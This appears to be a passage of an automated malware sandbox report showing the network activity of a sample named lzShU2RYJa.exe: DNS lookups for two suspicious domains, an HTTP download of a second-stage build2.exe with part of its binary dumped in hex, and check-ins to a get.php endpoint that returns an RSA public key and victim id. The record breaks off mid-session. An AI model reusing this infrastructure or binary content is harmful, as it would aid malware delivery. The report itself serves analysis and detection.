Apr 24, 2024 18:51:59.854485989 CEST	1.1.1.1	192.168.2.4	0xd61d	No error (0)	sdfjhuz.com	200.45.93.45	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:51:59.854485989 CEST	1.1.1.1	192.168.2.4	0xd61d	No error (0)	sdfjhuz.com	211.171.233.129	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:51:59.854485989 CEST	1.1.1.1	192.168.2.4	0xd61d	No error (0)	sdfjhuz.com	179.27.75.59	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:51:59.854485989 CEST	1.1.1.1	192.168.2.4	0xd61d	No error (0)	sdfjhuz.com	190.146.112.188	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:51:59.854485989 CEST	1.1.1.1	192.168.2.4	0xd61d	No error (0)	sdfjhuz.com	190.12.87.61	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:51:59.854545116 CEST	1.1.1.1	192.168.2.4	0xd61d	No error (0)	sdfjhuz.com	189.143.202.242	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:51:59.854545116 CEST	1.1.1.1	192.168.2.4	0xd61d	No error (0)	sdfjhuz.com	81.183.132.103	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:51:59.854545116 CEST	1.1.1.1	192.168.2.4	0xd61d	No error (0)	sdfjhuz.com	187.228.55.117	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:51:59.854545116 CEST	1.1.1.1	192.168.2.4	0xd61d	No error (0)	sdfjhuz.com	187.156.84.246	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:51:59.854545116 CEST	1.1.1.1	192.168.2.4	0xd61d	No error (0)	sdfjhuz.com	211.40.39.251	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:51:59.854545116 CEST	1.1.1.1	192.168.2.4	0xd61d	No error (0)	sdfjhuz.com	200.45.93.45	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:51:59.854545116 CEST	1.1.1.1	192.168.2.4	0xd61d	No error (0)	sdfjhuz.com	211.171.233.129	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:51:59.854545116 CEST	1.1.1.1	192.168.2.4	0xd61d	No error (0)	sdfjhuz.com	179.27.75.59	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:51:59.854545116 CEST	1.1.1.1	192.168.2.4	0xd61d	No error (0)	sdfjhuz.com	190.146.112.188	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:51:59.854545116 CEST	1.1.1.1	192.168.2.4	0xd61d	No error (0)	sdfjhuz.com	190.12.87.61	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:51:59.939496040 CEST	1.1.1.1	192.168.2.4	0xdb2	No error (0)	cajgtus.com	211.171.233.129	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:51:59.939496040 CEST	1.1.1.1	192.168.2.4	0xdb2	No error (0)	cajgtus.com	93.118.137.82	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:51:59.939496040 CEST	1.1.1.1	192.168.2.4	0xdb2	No error (0)	cajgtus.com	201.103.73.225	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:51:59.939496040 CEST	1.1.1.1	192.168.2.4	0xdb2	No error (0)	cajgtus.com	181.129.118.140	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:51:59.939496040 CEST	1.1.1.1	192.168.2.4	0xdb2	No error (0)	cajgtus.com	62.150.232.50	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:51:59.939496040 CEST	1.1.1.1	192.168.2.4	0xdb2	No error (0)	cajgtus.com	187.156.84.246	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:51:59.939496040 CEST	1.1.1.1	192.168.2.4	0xdb2	No error (0)	cajgtus.com	211.181.24.132	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:51:59.939496040 CEST	1.1.1.1	192.168.2.4	0xdb2	No error (0)	cajgtus.com	123.213.233.131	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:51:59.939496040 CEST	1.1.1.1	192.168.2.4	0xdb2	No error (0)	cajgtus.com	37.255.238.137	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:51:59.939496040 CEST	1.1.1.1	192.168.2.4	0xdb2	No error (0)	cajgtus.com	220.125.3.190	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:51:59.939546108 CEST	1.1.1.1	192.168.2.4	0xdb2	No error (0)	cajgtus.com	211.171.233.129	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:51:59.939546108 CEST	1.1.1.1	192.168.2.4	0xdb2	No error (0)	cajgtus.com	93.118.137.82	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:51:59.939546108 CEST	1.1.1.1	192.168.2.4	0xdb2	No error (0)	cajgtus.com	201.103.73.225	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:51:59.939546108 CEST	1.1.1.1	192.168.2.4	0xdb2	No error (0)	cajgtus.com	181.129.118.140	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:51:59.939546108 CEST	1.1.1.1	192.168.2.4	0xdb2	No error (0)	cajgtus.com	62.150.232.50	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:51:59.939546108 CEST	1.1.1.1	192.168.2.4	0xdb2	No error (0)	cajgtus.com	187.156.84.246	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:51:59.939546108 CEST	1.1.1.1	192.168.2.4	0xdb2	No error (0)	cajgtus.com	211.181.24.132	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:51:59.939546108 CEST	1.1.1.1	192.168.2.4	0xdb2	No error (0)	cajgtus.com	123.213.233.131	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:51:59.939546108 CEST	1.1.1.1	192.168.2.4	0xdb2	No error (0)	cajgtus.com	37.255.238.137	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:51:59.939546108 CEST	1.1.1.1	192.168.2.4	0xdb2	No error (0)	cajgtus.com	220.125.3.190	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:51:59.939652920 CEST	1.1.1.1	192.168.2.4	0xdb2	No error (0)	cajgtus.com	211.171.233.129	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:51:59.939652920 CEST	1.1.1.1	192.168.2.4	0xdb2	No error (0)	cajgtus.com	93.118.137.82	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:51:59.939652920 CEST	1.1.1.1	192.168.2.4	0xdb2	No error (0)	cajgtus.com	201.103.73.225	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:51:59.939652920 CEST	1.1.1.1	192.168.2.4	0xdb2	No error (0)	cajgtus.com	181.129.118.140	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:51:59.939652920 CEST	1.1.1.1	192.168.2.4	0xdb2	No error (0)	cajgtus.com	62.150.232.50	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:51:59.939652920 CEST	1.1.1.1	192.168.2.4	0xdb2	No error (0)	cajgtus.com	187.156.84.246	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:51:59.939652920 CEST	1.1.1.1	192.168.2.4	0xdb2	No error (0)	cajgtus.com	211.181.24.132	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:51:59.939652920 CEST	1.1.1.1	192.168.2.4	0xdb2	No error (0)	cajgtus.com	123.213.233.131	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:51:59.939652920 CEST	1.1.1.1	192.168.2.4	0xdb2	No error (0)	cajgtus.com	37.255.238.137	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:51:59.939652920 CEST	1.1.1.1	192.168.2.4	0xdb2	No error (0)	cajgtus.com	220.125.3.190	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:52:00.017350912 CEST	1.1.1.1	192.168.2.4	0xdb2	No error (0)	cajgtus.com	211.171.233.129	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:52:00.017350912 CEST	1.1.1.1	192.168.2.4	0xdb2	No error (0)	cajgtus.com	93.118.137.82	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:52:00.017350912 CEST	1.1.1.1	192.168.2.4	0xdb2	No error (0)	cajgtus.com	201.103.73.225	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:52:00.017350912 CEST	1.1.1.1	192.168.2.4	0xdb2	No error (0)	cajgtus.com	37.255.238.137	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:52:00.017350912 CEST	1.1.1.1	192.168.2.4	0xdb2	No error (0)	cajgtus.com	62.150.232.50	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:52:00.017350912 CEST	1.1.1.1	192.168.2.4	0xdb2	No error (0)	cajgtus.com	187.156.84.246	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:52:00.017350912 CEST	1.1.1.1	192.168.2.4	0xdb2	No error (0)	cajgtus.com	220.125.3.190	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:52:00.017350912 CEST	1.1.1.1	192.168.2.4	0xdb2	No error (0)	cajgtus.com	123.213.233.131	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:52:00.017350912 CEST	1.1.1.1	192.168.2.4	0xdb2	No error (0)	cajgtus.com	181.129.118.140	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:52:00.017350912 CEST	1.1.1.1	192.168.2.4	0xdb2	No error (0)	cajgtus.com	211.181.24.132	A (IP address)	IN (0x0001)	false
Apr 24, 2024 18:52:03.036015034 CEST	1.1.1.1	192.168.2.4	0xc5e0	No error (0)	steamcommunity.com	96.17.209.196	A (IP address)	IN (0x0001)	false

HTTP Request Dependency Graph

api.2ip.ua

steamcommunity.com

95.217.9.149

sdfjhuz.com

cajgtus.com

HTTP Packets

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
0	192.168.2.4	49733	189.143.202.242	80	7464	C:\Users\user\Desktop\lzShU2RYJa.exe

Timestamp	Bytes transferred	Direction	Data
Apr 24, 2024 18:52:00.082809925 CEST	91	OUT	GET /dl/build2.exe HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: sdfjhuz.com
Apr 24, 2024 18:52:00.767532110 CEST	1289	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Wed, 24 Apr 2024 16:52:00 GMT Content-Type: application/octet-stream Content-Length: 296448 Last-Modified: Tue, 23 Apr 2024 19:19:16 GMT Connection: close ETag: "662809b4-48600" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 e8 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 ce d6 de 9e 8a b7 b0 cd 8a b7 b0 cd 8a b7 b0 cd 87 e5 6f cd 90 b7 b0 cd 87 e5 50 cd f6 b7 b0 cd 87 e5 51 cd a6 b7 b0 cd 83 cf 23 cd 83 b7 b0 cd 8a b7 b1 cd f8 b7 b0 cd 3f 29 55 cd 8b b7 b0 cd 87 e5 6b cd 8b b7 b0 cd 3f 29 6e cd 8b b7 b0 cd 52 69 63 68 8a b7 b0 cd 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 50 45 00 00 4c 01 04 00 47 05 fb 63 00 00 00 00 00 00 00 00 e0 00 03 01 0b 01 0c 00 00 e6 00 00 00 30 60 01 00 00 00 00 6d 40 00 00 00 10 00 00 00 00 01 00 00 00 40 00 00 10 00 00 00 02 00 00 05 00 01 00 00 00 00 00 05 00 01 00 00 00 00 00 00 30 61 01 00 04 00 00 00 d6 04 00 02 00 00 81 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 dc 6a 01 00 64 00 00 00 00 40 60 01 66 ef 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 02 01 00 38 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 60 01 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 01 00 98 01 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 2e 74 65 78 74 00 00 00 13 e4 00 00 00 10 00 00 00 e6 00 00 00 04 00 00 00 00 00 00 00 00 00 00 00 00 00 00 20 00 00 60 2e 72 64 61 74 61 00 00 50 74 00 00 00 00 01 00 00 76 00 00 00 ea 00 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 2e 64 61 74 61 00 00 00 e4 b5 5e 01 00 80 01 00 00 36 02 00 00 60 01 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 c0 2e 72 73 72 63 00 00 00 66 ef 00 00 00 40 60 01 00 f0 00 00 00 96 03 00 00 00 00 00 00 00 00 00 00 00 00 00 40 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 b9 0c 25 Data Ascii: MZ@!L!This program cannot be run in DOS mode.$oPQ#?)Uk?)nRichPELGc0`m@@0ajd@`f8@`@.text `.rdataPtv@@.data^6`@.rsrcf@`@@%
Apr 24, 2024 18:52:00.767574072 CEST	1289	IN	Data Raw: a0 01 e8 4e 02 00 00 68 09 f4 40 00 e8 3f 26 00 00 59 c3 b9 14 25 a0 01 e8 a1 02 00 00 68 ff f3 40 00 e8 29 26 00 00 59 c3 b9 00 25 a0 01 e8 f8 02 00 00 68 f5 f3 40 00 e8 13 26 00 00 59 c3 6a 00 b9 08 25 a0 01 e8 ee 00 00 00 c3 6a 00 b9 fc 24 a0 Data Ascii: Nh@?&Y%h@)&Y%h@&Yj%j$j%j%UQQQQ$!]EYY]UVEP,A^],ANUVEtV%Y^]UE]UE8
Apr 24, 2024 18:52:00.768894911 CEST	302	IN	Data Raw: 15 34 00 41 00 53 8d 85 b4 fb ff ff 50 53 ff 15 90 00 41 00 8d 45 c8 50 53 8d 45 b4 50 53 ff 15 88 00 41 00 53 53 53 53 53 53 53 ff 15 44 00 41 00 8b 45 f8 8b 0d f0 24 a0 01 2b f8 83 f9 0c 75 07 53 ff 15 80 00 41 00 8b c7 c1 e0 04 89 45 f4 8b 45 Data Ascii: 4ASPSAEPSEPSASSSSSSSDAE$+uSAEEEMUEEEEM3U3UME)ENt]MuE~_^[]V5$W=tNu_^UQeEE]UQQh^A
Apr 24, 2024 18:52:00.768934011 CEST	1289	IN	Data Raw: c3 43 00 72 ff 15 40 00 41 00 a3 d8 1e a0 01 c7 45 fc 20 00 00 00 83 45 fc 20 8d 45 f8 50 ff 75 fc ff 35 f0 24 a0 01 ff 35 e0 1e a0 01 ff 15 d8 1e a0 01 8b e5 5d c3 55 8b ec b8 60 10 00 00 e8 42 6b 00 00 8b 0d f0 24 a0 01 56 57 81 f9 93 00 00 00 Data Ascii: Cr@AE E EPu5$5]U`Bk$VWHAKQ3$V$\A9V<AOu$tW$8K8u6$AVPAVPEPEPEPVPV,A$G;r
Apr 24, 2024 18:52:00.988188028 CEST	1289	IN	Data Raw: 00 6a 00 6a 00 8b ce e8 bd 00 00 00 ff 75 08 8b ce e8 90 00 00 00 8b c6 5e 8b e5 5d c2 04 00 55 8b ec 53 56 8b f1 8b 4d 08 57 e8 96 00 00 00 8b 5d 0c 3b c3 72 68 8b 4d 08 e8 87 00 00 00 8b f8 8b ce 2b fb 39 7d 10 0f 42 7d 10 3b 75 08 75 15 8d 04 Data Ascii: jju^]USVMW];rhM+9}B};uuPZSjq0jWt$MWPP8W_^[]TUVuYPu^]AU}Vt<~r6}SvuPV
Apr 24, 2024 18:52:00.988368988 CEST	1289	IN	Data Raw: 55 8b ec 56 ff 75 08 6a 04 e8 8b f0 ff ff 8b f0 59 59 85 f6 74 0c 8b 4d 0c e8 bf ff ff ff 8b 08 89 0e 5e 5d c2 08 00 55 8b ec 83 3d 94 04 41 00 00 b8 90 04 41 00 74 10 8b 4d 08 39 08 74 0d 83 c0 08 83 78 04 00 75 f3 33 c0 5d c3 8b 40 04 5d c3 55 Data Ascii: UVujYYtM^]U=AAtM9txu3]@]U=<A8AtM9txu3]@]UVuA^]UVu,A^]UVu A^]UVu8A^]A
Apr 24, 2024 18:52:00.988456964 CEST	1289	IN	Data Raw: 44 8e e8 89 44 8f e8 8b 44 8e ec 89 44 8f ec 8b 44 8e f0 89 44 8f f0 8b 44 8e f4 89 44 8f f4 8b 44 8e f8 89 44 8f f8 8b 44 8e fc 89 44 8f fc 8d 04 8d 00 00 00 00 03 f0 03 f8 ff 24 95 98 25 40 00 8b ff a8 25 40 00 b0 25 40 00 bc 25 40 00 d0 25 40 Data Ascii: DDDDDDDDDDDD$%@%@%@%@%@D$^_D$^_FGD$^_IFGFGD$^_t1\|9u$r$4'@$&@Ir+$8&@$4'@H&@l&@&@
Apr 24, 2024 18:52:00.988672018 CEST	1289	IN	Data Raw: 55 8b ec 6a 00 ff 75 0c ff 75 08 e8 05 00 00 00 83 c4 0c 5d c3 55 8b ec 6a 00 ff 75 10 ff 75 0c ff 75 08 e8 a6 fe ff ff 83 c4 10 5d c3 55 8b ec 8b 45 08 85 c0 75 14 e8 8a 3f 00 00 c7 00 16 00 00 00 e8 10 3f 00 00 33 c0 5d c3 8b 40 0c 83 e0 10 5d Data Ascii: Ujuu]Ujuuu]UEu??3]@]UEVfDAF0^]UEDAAA]UVufDAF^]DAUVW};ttw5GF_^]
Apr 24, 2024 18:52:00.995872974 CEST	1289	IN	Data Raw: 90 8d 74 31 fc 8d 7c 39 fc f7 c7 03 00 00 00 75 24 c1 e9 02 83 e2 03 83 f9 08 72 0d fd f3 a5 fc ff 24 95 b4 30 40 00 8b ff f7 d9 ff 24 8d 64 30 40 00 8d 49 00 8b c7 ba 03 00 00 00 83 f9 04 72 0c 83 e0 03 2b c8 ff 24 85 b8 2f 40 00 ff 24 8d b4 30 Data Ascii: t1\|9u$r$0@$d0@Ir+$/@$0@/@/@0@F#Gr$0@IF#GFGr$0@F#GFGFGV$0@Ih0@p0@x0@0@0
Apr 24, 2024 18:52:00.995918036 CEST	1289	IN	Data Raw: 04 a9 00 01 01 81 74 e8 8b 41 fc 84 c0 74 23 84 e4 74 1a a9 00 00 ff 00 74 0e a9 00 00 00 ff 74 02 eb cd 8d 79 ff eb 0d 8d 79 fe eb 08 8d 79 fd eb 03 8d 79 fc 8b 4c 24 0c f7 c1 03 00 00 00 74 1d 8a 11 83 c1 01 84 d2 74 66 88 17 83 c7 01 f7 c1 03 Data Ascii: tAt#tttyyyyL$ttfu~3tt4t'ttD$_fD$G_fD$_D$_Vjj ;YYVA55ujX^&3^jhfA<
Apr 24, 2024 18:52:00.995956898 CEST	1289	IN	Data Raw: 76 15 8b 42 08 8b 8d e0 ef ff ff 80 38 0a 75 01 46 40 43 3b d9 72 f4 f7 42 0c 00 20 00 00 eb 54 53 51 ff b5 e8 ef ff ff e8 14 45 00 00 83 c4 0c 85 c0 79 05 83 c8 ff eb 5c 8b 85 ec ef ff ff b9 00 02 00 00 3b f1 77 11 f6 40 0c 08 74 0b f7 40 0c 00 Data Ascii: vB8uF@C;rB TSQEy\;w@t@tpCDtFu+u^[M3_]jh(fA7e3uu/h/%V<:YeV,Y}E

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
1	192.168.2.4	49734	211.171.233.129	80	7464	C:\Users\user\Desktop\lzShU2RYJa.exe

Timestamp	Bytes transferred	Direction	Data
Apr 24, 2024 18:52:00.252662897 CEST	139	OUT	GET /test2/get.php?pid=F8AFCDC4E800A3319FFB343E83099637&first=true HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: cajgtus.com
Apr 24, 2024 18:52:01.154654026 CEST	765	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 16:52:20 GMT Server: Apache/2.4.37 (Win64) PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 561 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 7b 22 70 75 62 6c 69 63 5f 6b 65 79 22 3a 22 2d 2d 2d 2d 2d 42 45 47 49 4e 26 23 31 36 30 3b 50 55 42 4c 49 43 26 23 31 36 30 3b 4b 45 59 2d 2d 2d 2d 2d 5c 5c 6e 4d 49 49 42 49 6a 41 4e 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 45 46 41 41 4f 43 41 51 38 41 4d 49 49 42 43 67 4b 43 41 51 45 41 74 72 6f 79 56 69 46 43 6a 30 45 73 52 30 70 41 75 56 65 63 5c 5c 6e 53 77 67 78 4c 6e 7a 33 49 65 68 57 5c 2f 6f 30 79 47 53 6e 4d 50 61 67 38 4e 72 62 36 78 67 66 56 50 63 63 32 64 71 51 57 4a 75 4f 37 77 6f 45 69 48 47 67 68 4b 37 5a 31 46 32 53 4f 78 7a 5c 2f 70 5c 5c 6e 49 75 35 70 61 31 54 7a 32 5c 2f 35 57 6e 68 64 4a 72 49 70 38 76 61 6e 47 4c 51 55 58 31 72 6d 63 6b 68 4e 68 55 39 55 65 58 67 41 75 68 71 54 49 37 76 38 36 36 77 6f 6d 6c 5c 2f 71 30 36 64 48 78 5c 5c 6e 7a 39 30 69 68 74 69 32 35 2b 2b 77 44 58 5a 71 4b 55 6d 39 56 74 4d 66 2b 63 31 72 76 75 66 41 4c 43 54 64 65 69 49 41 49 70 45 42 4c 5a 64 4d 41 4b 4b 42 64 43 43 67 54 67 74 31 44 42 68 4b 5c 5c 6e 55 37 4f 6a 45 54 46 59 4a 54 47 31 42 37 77 37 78 78 6c 66 30 7a 37 72 34 2b 66 67 62 36 38 64 70 33 76 6f 35 57 48 76 63 66 6f 42 77 5c 2f 54 4c 42 6a 44 37 54 38 78 54 5a 5c 2f 43 6e 39 6a 30 62 5c 5c 6e 5c 2f 56 77 48 47 62 64 4a 55 4f 44 50 72 4f 6e 51 31 72 73 34 67 4f 4f 70 7a 39 58 50 75 4d 55 6e 71 45 6f 6d 4a 63 51 70 49 37 34 41 6b 33 2b 6c 67 70 70 30 34 42 79 6f 77 49 55 62 46 43 56 35 5c 5c 6e 41 77 49 44 41 51 41 42 5c 5c 6e 2d 2d 2d 2d 2d 45 4e 44 26 23 31 36 30 3b 50 55 42 4c 49 43 26 23 31 36 30 3b 4b 45 59 2d 2d 2d 2d 2d 5c 5c 6e 22 2c 22 69 64 22 3a 22 69 74 6b 6d 37 4d 4f 73 4f 6c 56 51 6b 62 45 51 68 57 43 56 45 57 6f 4d 79 47 46 68 56 6a 67 45 64 70 4e 6c 67 66 69 7a 22 7d Data Ascii: {"public_key":"-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtroyViFCj0EsR0pAuVec\\nSwgxLnz3IehW\/o0yGSnMPag8Nrb6xgfVPcc2dqQWJuO7woEiHGghK7Z1F2SOxz\/p\\nIu5pa1Tz2\/5WnhdJrIp8vanGLQUX1rmckhNhU9UeXgAuhqTI7v866woml\/q06dHx\\nz90ihti25++wDXZqKUm9VtMf+c1rvufALCTdeiIAIpEBLZdMAKKBdCCgTgt1DBhK\\nU7OjETFYJTG1B7w7xxlf0z7r4+fgb68dp3vo5WHvcfoBw\/TLBjD7T8xTZ\/Cn9j0b\\n\/VwHGbdJUODPrOnQ1rs4gOOpz9XPuMUnqEomJcQpI74Ak3+lgpp04ByowIUbFCV5\\nAwIDAQAB\\n-----END PUBLIC KEY-----\\n","id":"itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
2	192.168.2.4	49735	211.171.233.129	80	7540	C:\Users\user\AppData\Local\6ac62023-6901-4d0d-9a07-d2a392efb8b6\lzShU2RYJa.exe

Timestamp	Bytes transferred	Direction	Data
Apr 24, 2024 18:52:00.252701044 CEST	128	OUT	GET /test2/get.php?pid=F8AFCDC4E800A3319FFB343E83099637 HTTP/1.1 User-Agent: Microsoft Internet Explorer Host: cajgtus.com
Apr 24, 2024 18:52:01.154757023 CEST	765	IN	HTTP/1.1 200 OK Date: Wed, 24 Apr 2024 16:52:20 GMT Server: Apache/2.4.37 (Win64) PHP/5.6.40 X-Powered-By: PHP/5.6.40 Content-Length: 561 Connection: close Content-Type: text/html; charset=UTF-8 Data Raw: 7b 22 70 75 62 6c 69 63 5f 6b 65 79 22 3a 22 2d 2d 2d 2d 2d 42 45 47 49 4e 26 23 31 36 30 3b 50 55 42 4c 49 43 26 23 31 36 30 3b 4b 45 59 2d 2d 2d 2d 2d 5c 5c 6e 4d 49 49 42 49 6a 41 4e 42 67 6b 71 68 6b 69 47 39 77 30 42 41 51 45 46 41 41 4f 43 41 51 38 41 4d 49 49 42 43 67 4b 43 41 51 45 41 74 72 6f 79 56 69 46 43 6a 30 45 73 52 30 70 41 75 56 65 63 5c 5c 6e 53 77 67 78 4c 6e 7a 33 49 65 68 57 5c 2f 6f 30 79 47 53 6e 4d 50 61 67 38 4e 72 62 36 78 67 66 56 50 63 63 32 64 71 51 57 4a 75 4f 37 77 6f 45 69 48 47 67 68 4b 37 5a 31 46 32 53 4f 78 7a 5c 2f 70 5c 5c 6e 49 75 35 70 61 31 54 7a 32 5c 2f 35 57 6e 68 64 4a 72 49 70 38 76 61 6e 47 4c 51 55 58 31 72 6d 63 6b 68 4e 68 55 39 55 65 58 67 41 75 68 71 54 49 37 76 38 36 36 77 6f 6d 6c 5c 2f 71 30 36 64 48 78 5c 5c 6e 7a 39 30 69 68 74 69 32 35 2b 2b 77 44 58 5a 71 4b 55 6d 39 56 74 4d 66 2b 63 31 72 76 75 66 41 4c 43 54 64 65 69 49 41 49 70 45 42 4c 5a 64 4d 41 4b 4b 42 64 43 43 67 54 67 74 31 44 42 68 4b 5c 5c 6e 55 37 4f 6a 45 54 46 59 4a 54 47 31 42 37 77 37 78 78 6c 66 30 7a 37 72 34 2b 66 67 62 36 38 64 70 33 76 6f 35 57 48 76 63 66 6f 42 77 5c 2f 54 4c 42 6a 44 37 54 38 78 54 5a 5c 2f 43 6e 39 6a 30 62 5c 5c 6e 5c 2f 56 77 48 47 62 64 4a 55 4f 44 50 72 4f 6e 51 31 72 73 34 67 4f 4f 70 7a 39 58 50 75 4d 55 6e 71 45 6f 6d 4a 63 51 70 49 37 34 41 6b 33 2b 6c 67 70 70 30 34 42 79 6f 77 49 55 62 46 43 56 35 5c 5c 6e 41 77 49 44 41 51 41 42 5c 5c 6e 2d 2d 2d 2d 2d 45 4e 44 26 23 31 36 30 3b 50 55 42 4c 49 43 26 23 31 36 30 3b 4b 45 59 2d 2d 2d 2d 2d 5c 5c 6e 22 2c 22 69 64 22 3a 22 69 74 6b 6d 37 4d 4f 73 4f 6c 56 51 6b 62 45 51 68 57 43 56 45 57 6f 4d 79 47 46 68 56 6a 67 45 64 70 4e 6c 67 66 69 7a 22 7d Data Ascii: {"public_key":"-----BEGIN PUBLIC KEY-----\\nMIIBIjANBgkqhkiG9w0BAQEFAAOCAQ8AMIIBCgKCAQEAtroyViFCj0EsR0pAuVec\\nSwgxLnz3IehW\/o0yGSnMPag8Nrb6xgfVPcc2dqQWJuO7woEiHGghK7Z1F2SOxz\/p\\nIu5pa1Tz2\/5WnhdJrIp8vanGLQUX1rmckhNhU9UeXgAuhqTI7v866woml\/q06dHx\\nz90ihti25++wDXZqKUm9VtMf+c1rvufALCTdeiIAIpEBLZdMAKKBdCCgTgt1DBhK\\nU7OjETFYJTG1B7w7xxlf0z7r4+fgb68dp3vo5WHvcfoBw\/TLBjD7T8xTZ\/Cn9j0b\\n\/VwHGbdJUODPrOnQ1rs4gOOpz9XPuMUnqEomJcQpI74Ak3+lgpp04ByowIUbFCV5\\nAwIDAQAB\\n-----END PUBLIC KEY-----\\n","id":"itkm7MOsOlVQkbEQhWCVEWoMyGFhVjgEdpNlgfiz"}

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
